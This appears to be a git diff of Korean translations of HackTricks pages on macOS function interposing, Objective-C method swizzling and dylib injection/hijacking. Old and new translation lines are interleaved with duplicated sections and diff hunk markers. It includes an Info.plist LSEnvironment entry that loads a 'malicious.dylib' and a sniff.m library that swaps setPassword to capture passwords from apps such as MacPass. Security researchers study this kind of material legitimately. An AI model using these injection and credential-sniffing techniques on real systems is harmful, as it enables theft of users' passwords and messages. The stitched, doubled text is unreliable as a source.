그런 다음, \*\*`DYLD_INSERT_LIBRARIES`**를 사용하여 dylib를 주입합니다(Interposing은 주 앱이 로드되기 전에 발생해야 합니다). 물론, \[**`DYLD_INSERT_LIBRARIES`\*\*의 사용에 적용되는 [**제한 사항**](macos-library-injection/#check-restrictions)도 여기에 적용됩니다].
그런 다음, **`DYLD_INSERT_LIBRARIES`**를 사용하여 dylib를 **주입**합니다 (인터포징은 주 앱이 로드되기 전에 발생해야 합니다). 당연히 [**`DYLD_INSERT_LIBRARIES` 사용에 적용되는 제한 사항**도 여기에 적용됩니다](macos-library-injection/#check-restrictions).
### printf Interpose
### printf 인터포징
{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" %}
{% code title="interpose.c" overflow="wrap" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
@ -56,32 +56,10 @@ printf("Hello World!\n");
return 0;
}
```
{% endtab %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
typedef int (*orig_open_type)(const char *pathname, int flags);
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);
int open(const char *pathname, int flags) {
orig_open_type orig_open;
orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
printf("Opening file: %s\n", pathname);
return orig_open(pathname, flags);
}
FILE *fopen(const char *pathname, const char *mode) {
orig_fopen_type orig_fopen;
orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
printf("Opening file: %s\n", pathname);
return orig_fopen(pathname, mode);
}
```
이 코드는 `open``fopen` 함수를 후킹하여 파일이 열릴 때마다 해당 파일의 경로를 출력합니다. `dlsym` 함수를 사용하여 원래 함수에 대한 포인터를 가져온 다음, 후킹 함수에서 해당 원래 함수를 호출하고 경로를 출력합니다. 이렇게 함으로써 파일이 열릴 때마다 경로를 확인할 수 있습니다.
{% tab title="interpose2.c" %}
{% code overflow="wrap" %}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -105,9 +83,9 @@ return ret;
DYLD_INTERPOSE(my_printf,printf);
```
{% endcode %}
{% endtab %}
{% endtabs %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
@ -115,25 +93,44 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## 메소드 스위즐링
ObjectiveC에서 메소드는 다음과 같이 호출됩니다: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
**객체**, **메소드**, **파라미터**가 필요합니다. 그리고 메소드가 호출되면 **`objc_msgSend`** 함수를 사용하여 **메시지가 전송**됩니다: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
객체는 **`someObject`**, 메소드는 **`@selector(method1p1:p2:)`**, 인자는 **value1**, **value2**입니다.
객체 구조를 따라가면 메소드의 **이름**과 **메소드 코드의 포인터**가 **위치**한 **메소드 배열**에 도달할 수 있습니다.
{% hint style="danger" %}
메소드와 클래스는 이름을 기반으로 액세스되므로 이 정보는 바이너리에 저장되어 있으므로 `otool -ov </path/bin>` 또는 [`class-dump </path/bin>`](https://github.com/nygard/class-dump)을 사용하여 검색할 수 있습니다.
{% hint style="warning" %}
**`DYLD_PRINT_INTERPOSTING`** 환경 변수는 interposing을 디버깅하는 데 사용될 수 있으며 interpose 프로세스를 출력합니다.
{% endhint %}
### 원시 메소드에 액세스하기
또한 **interposing은 프로세스와 로드된 라이브러리 사이에서 발생**하며 공유 라이브러리 캐시와는 작동하지 않음을 유의하십시오.
다음 예제와 같이 메소드의 정보(이름, 파라미터 수, 주소 등)에 액세스할 수 있습니다:
### 동적 Interposing
이제 **`dyld_dynamic_interpose`** 함수를 사용하여 함수를 동적으로 interpose하는 것도 가능합니다. 이를 통해 프로그램적으로 함수를 런타임에서만 교체할 수 있습니다.
**교체할 함수와 대체 함수의 튜플**을 지정하기만 하면 됩니다.
```c
struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);
```
## 메소드 스위즐링
ObjectiveC에서 메소드를 호출하는 방법은 다음과 같습니다: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
**객체**, **메소드**, **파라미터**가 필요합니다. 메소드가 호출되면 **메시지가 전송**되며 **`objc_msgSend`** 함수를 사용합니다: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
객체는 **`someObject`**, 메소드는 **`@selector(method1p1:p2:)`**, 인수는 **value1**, **value2**입니다.
객체 구조를 따라 **메소드 배열**에 도달하여 **이름****메소드 코드에 대한 포인터**를 **찾을 수** 있습니다.
{% hint style="danger" %}
메소드와 클래스는 이름을 기반으로 액세스되므로 이 정보는 이진 파일에 저장되므로 `otool -ov </path/bin>` 또는 [`class-dump </path/bin>`](https://github.com/nygard/class-dump)을 사용하여 검색할 수 있습니다.
{% endhint %}
### 원시 메소드에 액세스
다음 예제와 같이 메소드의 정보인 이름, 파라미터 수 또는 주소에 액세스할 수 있습니다:
{% code overflow="wrap" %}
```objectivec
// gcc -framework Foundation test.m -o test
@ -199,15 +196,17 @@ NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
{% endcode %}
### method\_exchangeImplementations을 사용한 메소드 스위즐링
### method_exchangeImplementations를 사용한 메소드 스위즐링
함수 \*\*`method_exchangeImplementations`\*\*은 **다른 함수의 구현**의 **주소**를 **변경**하는 것을 가능하게 합니다.
**`method_exchangeImplementations`** 함수는 **하나의 함수의 구현체의 주소를 다른 함수로 변경**할 수 있게 합니다.
{% hint style="danger" %}
따라서 함수가 호출될 때 **다른 함수가 실행**됩니다.
따라서 함수가 호출될 때 **실행되는 것은 다른 함수**입니다.
{% endhint %}
{% code overflow="wrap" %}
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -251,19 +250,21 @@ NSLog(@"Substring: %@", subString);
return 0;
}
```
{% endcode %}
{% hint style="warning" %}
이 경우, **합법적인** 메소드의 **구현 코드**가 **메소드 이름**을 확인한다면, 이 스위즐링을 감지하고 실행을 방지할 수 있습니다.
이 경우에는 **합법적인** 메소드의 **구현 코드가 메소드 이름을 확인**하면 이 스위즐링을 **감지**하고 실행을 방지할 수 있습니다.
다음 기술에는 이러한 제한이 없습니다.
다음 기술에는 이 제한이 없습니다.
{% endhint %}
### method\_setImplementation을 사용한 메소드 스위즐링
이전 형식은 이상합니다. 왜냐하면 한 메소드의 구현을 다른 메소드로 변경하고 있기 때문입니다. **`method_setImplementation`** 함수를 사용하여 한 메소드의 구현을 다른 메소드로 **변경**할 수 있습니다.
이전 형식은 이상하다. 왜냐하면 두 메소드의 구현을 서로 바꾸기 때문이다. **`method_setImplementation`** 함수를 사용하면 **한 메소드의 구현을 다른 메소드로 변경**할 수 있습니다.
새로운 구현에서 이전 구현을 호출할 경우, 나중에 해당 주소를 찾기가 훨씬 복잡해지므로, **원래 구현의 주소를 저장**해 두는 것을 기억하세요.
새로운 구현에서 이전 구현의 주소를 호출할 예정이라면 덮어쓰기 전에 **원래 구현의 주소를 저장**해야 합니다. 나중에 그 주소를 찾는 것이 훨씬 복잡해질 것이기 때문입니다.
{% code overflow="wrap" %}
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -315,19 +316,19 @@ return 0;
}
}
```
{% endcode %}
## 후킹 공격 방법론
이 페이지에서는 함수 후킹하는 다양한 방법에 대해 논의되었습니다. 그러나 이들은 **프로세스 내에서 코드를 실행하여 공격**하는 것을 포함합니다.
이 페이지에서는 함수 후킹하는 다양한 방법에 대해 논의되었습니다. 그러나 이들은 **프로세스 내에서 코드를 실행하여 공격하는 것**을 포함했습니다.
이를 위해 가장 쉬운 기술은 [환경 변수 또는 하이재킹을 통한 Dyld 주입](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)을 사용하는 것입니다. 그러나 [Dylib 프로세스 주입](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)을 통해서도 이를 수행할 수 있다고 생각합니다.
이를 위해 가장 쉬운 기술은 [Dyld를 환경 변수나 해킹을 통해 주입하는 것](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)입니다. 그러나 [Dylib 프로세스 주입](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)을 통해서도 이 작업을 수행할 수 있다고 생각됩니다.
그러나 두 가지 옵션 모두 **보호되지 않은** 이진 파일/프로세스에 **제한**이 있습니다. 제한 사항에 대해 자세히 알아보려면 각 기술을 확인하십시오.
그러나 두 옵션 모두 **보호되지 않은** 이진 파일/프로세스에 **제한**니다. 제한 사항에 대해 자세히 알아보려면 각 기술을 확인하십시오.
그러나 함수 후킹 공격은 매우 특정한 공격입니다. 공격자는 이를 통해 프로세스 내에서 **민감한 정보를 탈취**할 것입니다 (그렇지 않다면 프로세스 주입 공격을 수행할 것입니다). 이러한 민감한 정보는 MacPass와 같은 사용자가 다운로드한 앱에 위치할 수 있습니다.
따라서 공격자는 취약점을 찾거나 애플리케이션의 서명을 제거하여 애플리케이션의 Info.plist를 통해 **`DYLD_INSERT_LIBRARIES`** 환경 변수를 주입할 것입니다. 다음과 같이 추가합니다:
그러나 함수 후킹 공격은 매우 구체적입니다. 공격자는 이를 통해 **프로세스 내부에서 민감한 정보를 탈취**할 것입니다 (그렇지 않으면 프로세스 주입 공격을 수행할 것입니다). 그리고 이러한 민감한 정보는 MacPass와 같은 사용자 다운로드 앱에 위치할 수 있습니다.
따라서 공격자 벡터는 취약점을 찾거나 응용 프로그램의 서명을 제거하여, Info.plist를 통해 **`DYLD_INSERT_LIBRARIES`** 환경 변수를 주입하는 것과 같은 작업을 추가하는 것입니다:
```xml
<key>LSEnvironment</key>
<dict>
@ -335,8 +336,7 @@ return 0;
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
그런 다음 **애플리케이션을 다시 등록**합니다:
그런 다음 **애플리케이션을 다시 등록**하십시오:
{% code overflow="wrap" %}
```bash
@ -344,14 +344,15 @@ return 0;
```
{% endcode %}
해당 라이브러리에 정보를 유출하기 위한 후킹 코드를 추가합니다: 비밀번호, 메시지...
해당 라이브러리에 후킹 코드를 추가하여 정보를 유출합니다: 비밀번호, 메시지...
{% hint style="danger" %}
macOS의 최신 버전에서는 애플리케이션 이진 파일의 서명을 제거하고 이전에 실행되었다면, macOS는 해당 애플리케이션을 더 이상 실행하지 않습니다.
새로운 macOS 버전에서는 애플리케이션 이진 파일의 서명을 제거하고 이전에 실행되었을 경우, macOS는 해당 애플리케이션을 더 이상 실행하지 않습니다.
{% endhint %}
#### 라이브러리 예제
{% code overflow="wrap" %}
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -387,6 +388,7 @@ IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
{% endcode %}
## 참고 자료
@ -394,14 +396,14 @@ real_setPassword = method_setImplementation(real_Method, fake_IMP);
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>

View file

@ -1,92 +1,126 @@
# macOS Library Injection
# macOS 라이브러리 주입
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소 PR을 제출하세요.
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** 팔로우하세요.
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소 PR을 제출하세요.
</details>
{% hint style="danger" %}
**dyld의 코드는 오픈 소스**이며 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/)에서 찾을 수 있으며 **URL을 사용하여 tar를 다운로드**할 수 있습니다. 예: [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
**dyld의 코드는 오픈 소스**이며 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/)에서 찾을 수 있으며 **URL을 사용하여 tar를 다운로드**할 수 있습니다. [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
{% endhint %}
## **Dyld 프로세스**
바이너리 내에서 Dyld가 라이브러리를 로드하는 방법을 살펴보세요:
{% content-ref url="macos-dyld-process.md" %}
[macos-dyld-process.md](macos-dyld-process.md)
{% endcontent-ref %}
## **DYLD\_INSERT\_LIBRARIES**
이는 [**Linux의 LD\_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld\_preload)와 유사합니다. 환경 변수가 활성화되면 특정 경로에서 라이브러리를 로드하기 위해 실행될 프로세스를 지정할 수 있습니다.
이는 [**Linux의 LD\_PRELOAD와 유사한**](../../../../linux-hardening/privilege-escalation/#ld\_preload) 것입니다. 환경 변수가 활성화된 경우 특정 경로에서 라이브러리를 로드할 프로세스를 지정할 수 있습니다.
이 기술은 또한 **ASEP 기술로 사용**될 수 있으며, 설치된 각 애플리케이션에는 "Info.plist"라는 plist가 있어 `LSEnvironmental`이라는 키를 사용하여 환경 변수를 할당할 수 있습니다.
이 기술은 또한 **ASEP 기술로 사용**될 수 있습니다. 설치된 모든 응용 프로그램에는 `LSEnvironmental`이라는 키를 사용하여 **환경 변수를 할당**하는 "Info.plist"라는 plist가 있습니다.
{% hint style="info" %}
2012년 이후로 **Apple은 `DYLD_INSERT_LIBRARIES`의 권한을 크게 제한**했습니다.
2012년 이후 **Apple은 DYLD_INSERT_LIBRARIES의 권한을 크게 제한**했습니다.
코드로 이동하여 \*\*`src/dyld.cpp`\*\*를 확인하세요. 함수 \*\*`pruneEnvironmentVariables`\*\*에서 **`DYLD_*`** 변수가 제거되는 것을 볼 수 있습니다.
코드로 이동하여 **`src/dyld.cpp`**를 확인하세요. 함수 **`pruneEnvironmentVariables`**에서 **`DYLD_*`** 변수가 제거되는 것을 볼 수 있습니다.
함수 \*\*`processRestricted`\*\*에서 제한의 이유가 설정됩니다. 해당 코드를 확인하면 다음과 같은 이유를 볼 수 있습니다.
함수 **`processRestricted`**에서 제한 사유가 설정됩니다. 해당 코드를 확인하면 제한 사유가 다음과 같음을 알 수 있습니다:
* 이진 파일이 `setuid/setgid`입니다.
* macho 바이너리에 `__RESTRICT/__restrict` 섹션이 존재합니다.
* 소프트웨어에 [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) 권한이 있는 하드닝 런타임이 있습니다.
* 이진 파일의 **권한**을 다음과 같이 확인할 수 있습니다. `codesign -dv --entitlements :- </path/to/bin>`
* 이진 파일이 `setuid/setgid` 상태임
* macho 이진 파일에 `__RESTRICT/__restrict` 섹션이 존재함
* 소프트웨어에 [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) 권한이 있는 경우
* 이진 파일의 **권한**을 다음과 같이 확인할 수 있습니다: `codesign -dv --entitlements :- </path/to/bin>`
더 최신 버전에서는 이 논리를 함수 \*\*`configureProcessRestrictions`\*\*의 두 번째 부분에서 찾을 수 있습니다. 그러나 더 최신 버전에서 실행되는 것은 함수의 **처음 검사**입니다 (iOS 또는 시뮬레이션과 관련된 if문은 macOS에서 사용되지 않으므로 제거할 수 있습니다).
더 최신 버전에서는 이 논리를 함수 **`configureProcessRestrictions`**의 두 번째 부분에서 찾을 수 있습니다. 그러나 더 최신 버전에서 실행되는 것은 함수의 **첫 번째 부분의 체크**입니다 (iOS 또는 시뮬레이션과 관련된 if문은 macOS에서 사용되지 않으므로 제거할 수 있습니다).
{% endhint %}
### 라이브러리 유효성 검사
바이너리가 **`DYLD_INSERT_LIBRARIES`** 환경 변수를 사용할 수 있더라도, 바이너리가 라이브러리의 서명을 확인하고 로드하지 않을 경우 사용자 정의 라이브러리를 로드하지 않습니다.
바이너리가 **`DYLD_INSERT_LIBRARIES`** 환경 변수를 사용할 수 있더라도, 라이브러리의 서명을 확인하는 경우 사용자 정의 라이브러리를 로드하지 않습니다.
사용자 정의 라이브러리를 로드하려면 바이너리에 다음 중 하나의 권한이 있어야 합니다.
사용자 정의 라이브러리를 로드하려면 바이너리에 다음과 같은 권한이 있어야 합니다:
* [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
또는 바이너리에 **하드 런타임 플래그** 또는 **라이브러리 유효성 검사 플래그**가 없어야 합니다.
또는 바이너리에 **하드단화 런타임 플래그** 또는 **라이브러리 유효성 검사 플래그**가 없어야 합니다.
`codesign --display --verbose <bin>`을 사용하여 바이너리에 **하드닝 런타임**이 있는지 확인할 수 있습니다. \*\*`CodeDirectory`\*\*에서 플래그 런타임을 확인합니다. 예: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
바이너리가 **하드단화 런타임**을 가지고 있는지 확인하려면 `codesign --display --verbose <bin>`을 사용하여 **`CodeDirectory`**에서 런타임 플래그를 확인하세요. **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**와 같이 플래그를 확인할 수 있습니다.
또한, 바이너리와 **동일한 인증서로 서명된 경우** 라이브러리를 로드할 수 있습니다.
또한 바이너리와 **동일한 인증서로 서명된 라이브러리를 로드**할 수 있습니다.
이를 (남용하여) 사용하고 제한 사항을 확인하는 예제를 다음에서 찾을 수 있습니다:
이를 (남용하여) 어떻게 사용하고 제한 사항을 확인하는 예제를 찾으세요:
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
## Dylib 하이재
## Dylib
{% hint style="danger" %}
이전 라이브러리 유효성 검사 제한도 Dylib 하이재킹 공격에 적용됩니다.
**이전 라이브러리 유효성 검사 제한도** Dylib 해킹 공격을 수행하는 데 적용됩니다.
{% endhint %}
Windows와 마찬가지로 MacOS에서도 **dylib을 하이재킹**하여 **애플리케이션**에서 **임의의 코드를 실행**할 수 있습니다 (사실 일반 사용자로서는 `.app` 번들 내부에 쓰기 권한을 얻기 위해 TCC 권한이 필요할 수 있으므로 이것이 불가능할 수도 있습니다).\
그러나 MacOS 애플리케이션에서 라이브러리를 로드하는 방식은 Windows보다 **더 제한적**입니다. 이는 **악성 소프트웨어** 개발자가 이 기술을 **은닉**하기 위해 여전히 사용할 수 있지만 권한 상승을 위해 이를 남용할 가능성은 훨씬 낮습니다.
Windows와 마찬가지로 MacOS에서도 **dylibs를 해킹**하여 **응용 프로그램이** **임의의** **코드를 실행**하도록 할 수 있습니다 (사실 정상 사용자로부터 이를 수행하는 것은 `.app` 번들 내부에 쓰기 권한을 얻기 위해 TCC 권한이 필요할 수 있습니다).\
그러나 **MacOS** 응용 프로그램이 라이브러리를 로드하는 방식은 **Windows**보다 **제한적**입니다. 이는 **악성 코드** 개발자가 이 기술을 **은폐**하는 데는 사용할 수 있지만 **권한 상승을 악용하는 것은 훨씬 어려울 수 있음**을 의미합니다.
먼저, **MacOS 바이너리에서 라이브러리의 전체 경로를 지정하는 것이 더 일반적**입니다. 그리고 두 번째로, \*\*MacOS는 라이브러리를 검색하기 위해 $PATH의 폴더
먼저, **MacOS 바이너리에서 라이브러리의 전체 경로를 지정하는 것이 더 일반적**입니다. 둘째, **MacOS는** **$PATH** 폴더에서 **라이브러리를 검색하지 않습니다**.
* 만약 \*\*`LC_LOAD_DYLIB`\*\*에 `@rpath/library.dylib`가 포함되어 있고 \*\*`LC_RPATH`\*\*에 `/application/app.app/Contents/Framework/v1/``/application/app.app/Contents/Framework/v2/`가 포함되어 있다면, 두 폴더는 `library.dylib`를 로드하는 데 사용될 것입니다. 만약 라이브러리가 `[...]/v1/`에 존재하지 않고 공격자가 그곳에 라이브러리를 배치할 수 있다면, \*\*`LC_LOAD_DYLIB`\*\*의 경로 순서에 따라 `library.dylib``[...]/v2/`에서 로드하는 것을 탈취할 수 있습니다.
* **바이너리에서 rpath 경로와 라이브러리를 찾으려면**: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
이 기능과 관련된 **주요 부분**은 `ImageLoader.cpp`의 **`ImageLoader::recursiveLoadLibraries`**에 있습니다.
macho 바이너리가 라이브러리를 로드하는 데 사용할 수 있는 **4가지 다른 헤더 명령**이 있습니다:
* **`LC_LOAD_DYLIB`** 명령은 dylib를 로드하는 일반적인 명령입니다.
* **`LC_LOAD_WEAK_DYLIB`** 명령은 이전 명령과 유사하게 작동하지만 dylib를 찾을 수 없는 경우 오류 없이 실행이 계속됩니다.
* **`LC_REEXPORT_DYLIB`** 명령은 다른 라이브러리에서 심볼을 프록시(또는 다시 내보냄)합니다.
* **`LC_LOAD_UPWARD_DYLIB`** 명령은 서로 의존하는 두 라이브러리가 있을 때 사용됩니다(이를 _upward dependency_라고 합니다).
그러나 **2가지 유형의 dylib 해킹**이 있습니다:
* **부재한 약한 링크된 라이브러리**: 이는 응용 프로그램이 **LC\_LOAD\_WEAK\_DYLIB**로 구성된 존재하지 않는 라이브러리를 로드하려고 시도할 것을 의미합니다. 그런 다음 **공격자가 예상대로 dylib를 배치하면 로드됩니다**.
* 링크가 "약한"이라는 사실은 라이브러리를 찾을 수 없어도 응용 프로그램이 계속 실행됨을 의미합니다.
* 이와 관련된 **코드**는 `ImageLoaderMachO.cpp``ImageLoaderMachO::doGetDependentLibraries` 함수에 있으며 `lib->required``LC_LOAD_WEAK_DYLIB`가 true일 때에만 `false`입니다.
* 이진 파일에서 **약한 링크된 라이브러리**를 찾으려면 (나중에 해킹 라이브러리를 만드는 방법에 대한 예제가 있습니다):
* ```bash
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
cmdsize 56
name /var/tmp/lib/libUtl.1.dylib (offset 24)
time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0
compatibility version 1.0.0
```
* **@rpath로 구성**: Mach-O 바이너리에는 **`LC_RPATH`** 및 **`LC_LOAD_DYLIB`** 명령이 있을 수 있습니다. 이러한 명령의 **값**에 따라 **다른 디렉토리**에서 **라이브러리가 로드**됩니다.
* **`LC_RPATH`**는 바이너리에서 라이브러리를 로드하는 데 사용되는 일부 폴더의 경로를 포함합니다.
* **`LC_LOAD_DYLIB`**에는 로드할 특정 라이브러리의 경로가 포함됩니다. 이러한 경로에는 **`@rpath`**가 포함될 수 있으며, 이는 **`LC_RPATH`**의 값으로 **대체**됩니다. **`LC_RPATH`**에 여러 경로가 있는 경우 모든 경로가 라이브러리를 로드하기 위해 사용됩니다. 예시:
* 만약 **`LC_LOAD_DYLIB`**에 `@rpath/library.dylib`가 포함되어 있고 **`LC_RPATH`**에 `/application/app.app/Contents/Framework/v1/``/application/app.app/Contents/Framework/v2/`가 포함되어 있다면, 두 폴더가 `library.dylib`를 로드하는 데 사용됩니다. 라이브러리가 `[...]/v1/`에 존재하지 않고 공격자가 해당 위치에 라이브러리를 배치하여 `[...]/v2/`의 라이브러리 로드를 탈취할 수 있습니다. 이는 **`LC_LOAD_DYLIB`**의 경로 순서에 따라 진행됩니다.
* 이진 파일에서 **rpath 경로 및 라이브러리**를 찾으려면 다음을 사용하십시오: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
{% hint style="info" %}
**`@executable_path`**: **메인 실행 파일**을 포함하는 디렉토리의 **경로**입니다.
**`@executable_path`**: **주 실행 파일이 있는 디렉토리**의 **경로**입니다.
**`@loader_path`**: **로드 명령어**를 포함하는 **Mach-O 바이너리**가 있는 **디렉토리**의 **경로**입니다.
**`@loader_path`**: **로드 명령을 포함하는 Mach-O 이진 파일이 있는 디렉토리**의 **경로**입니다.
* 실행 파일에서 사용되는 경우, \*\*`@loader_path`\*\*는 \*\*`@executable_path`\*\*와 **동일**합니다.
* **dylib**에서 사용되는 경우, \*\*`@loader_path`\*\*는 **dylib**의 **경로**를 제공합니다.
* 실행 파일에서 사용될 때 **`@loader_path`**는 사실상 **`@executable_path`**와 **동일**합니다.
* **dylib**에서 사용될 때 **`@loader_path`**는 **dylib의 경로**를 제공합니다.
{% endhint %}
이 기능을 악용하여 **권한 상승**을 하는 방법은 **루트**에 의해 실행되는 **응용 프로그램**이 **공격자가 쓰기 권한을 가진 폴더**에서 **라이브러리를 찾는 경우**에만 발생합니다.
이 기능을 악용하여 **권한 상승**하는 방법은 **루트**에 의해 실행되는 **어플리케이션이** **공격자가 쓰기 권한을 가진 폴더**에서 **라이브러리를 찾는** 드문 경우입니다.
{% hint style="success" %}
응용 프로그램에서 **누락된 라이브러리**를 찾는 좋은 **스캐너**는 [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) 또는 [**CLI 버전**](https://github.com/pandazheng/DylibHijack)입니다.\
어플리케이션에서 **누락된 라이브러리**를 찾는 좋은 **스캐너**는 [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) 또는 [**CLI 버전**](https://github.com/pandazheng/DylibHijack)입니다.\
이 기술에 대한 기술적인 세부 정보가 포함된 좋은 **보고서**는 [**여기**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)에서 찾을 수 있습니다.
{% endhint %}
@ -99,13 +133,12 @@ Windows와 마찬가지로 MacOS에서도 **dylib을 하이재킹**하여 **애
## Dlopen Hijacking
{% hint style="danger" %}
**이전의 Library Validation 제한 사항도** Dlopen 히재킹 공격을 수행하기 위해 적용됩니다.
**이전 라이브러리 유효성 검사 제한 사항도** Dlopen hijacking 공격을 수행하기 위해 적용됨을 기억하십시오.
{% endhint %}
\*\*`man dlopen`\*\*에서:
